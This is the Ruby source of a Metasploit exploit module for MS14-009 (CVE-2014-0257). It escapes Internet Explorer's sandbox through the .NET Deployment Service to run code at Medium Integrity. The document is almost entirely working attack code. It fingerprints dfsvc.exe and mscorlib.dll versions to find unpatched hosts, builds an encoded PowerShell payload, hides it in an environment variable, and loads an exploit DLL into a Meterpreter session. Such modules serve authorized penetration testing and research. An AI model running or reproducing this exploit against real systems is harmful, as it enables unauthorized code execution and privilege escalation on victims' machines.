MS14-009 .NET Deployment Service IE Sandbox Escape

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::FileInfo
  include Msf::Post::File

  NET_VERSIONS = {
    '4.5' => {
      'dfsvc' => '4.0.30319.17929.17',
      'mscorlib' => '4.0.30319.18063.18'
    },
    '4.5.1' => {
      'dfsvc' => '4.0.30319.18408.18',
      'mscorlib' => '4.0.30319.18444.18'
    }
  }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'MS14-009 .NET Deployment Service IE Sandbox Escape',
        'Description'	=> %q{
          This module abuses a process creation policy in Internet Explorer's sandbox, specifically
          in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the
          Enhanced Protected Mode, and execute code with Medium Integrity.
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'James Forshaw', # Vulnerability Discovery and original exploit code
          'juan vazquez' # metasploit module
        ],
        'Platform'	=> [ 'win' ],
        'SessionTypes'	=> [ 'meterpreter' ],
        'Targets' => [
          [ 'IE 8 - 11', {} ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 30
        },
        'DisclosureDate' => '2014-02-11',
        'References' => [
          ['CVE', '2014-0257'],
          ['MSB', 'MS14-009'],
          ['BID', '65417'],
          ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_loadlib
              stdapi_railgun_api
            ]
          }
        }
      )
    )
  end

  def check
    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
      return Exploit::CheckCode::Unknown
    end

    net_version = get_net_version

    if net_version.empty?
      return Exploit::CheckCode::Unknown
    end

    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
      return Exploit::CheckCode::Detected
    end

    mscorlib_version = get_mscorlib_version

    if Rex::Version.new(mscorlib_version) >= Rex::Version.new(NET_VERSIONS[net_version]["mscorlib"])
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Appears
  end

  def get_net_version
    net_version = ""

    dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
    dfsvc_version = dfsvc_version.join(".")

    NET_VERSIONS.each do |k, v|
      if v["dfsvc"] == dfsvc_version
        net_version = k
      end
    end

    net_version
  end

  def get_mscorlib_version
    mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
    mscorlib_version.join(".")
  end

  def exploit
    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

    mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
    if mod_handle['return'] == 0
      fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
    end

    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
    end

    print_status("Searching .NET Deployment Service (dfsvc.exe)...")

    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
      fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found")
    end

    net_version = get_net_version

    if net_version.empty?
      fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1")
    end

    print_good(".NET Deployment Service from .NET #{net_version} found.")

    print_status("Checking if .NET is patched...")

    unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
      fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)")
    end

    mscorlib_version = get_mscorlib_version

    if Rex::Version.new(mscorlib_version) >= Rex::Version.new(NET_VERSIONS[net_version]["mscorlib"])
      fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable")
    end

    print_good(".NET looks vulnerable, exploiting...")

    cmd = cmd_psh_payload(payload.encoded,
                          payload_instance.arch.first,
                          {
                            :remove_comspec => true
                          })

    cmd.gsub!('powershell.exe ', '')
    session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)

    temp = get_env('TEMP')

    print_status("Loading Exploit Library...")

    session.core.load_library(
      'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
      'TargetFilePath' => temp + "\\CVE-2014-0257.dll",
      'UploadLibrary' => true,
      'Extension' => false,
      'SaveToDisk' => false
    )
  end

  def cleanup
    session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
    super
  end
end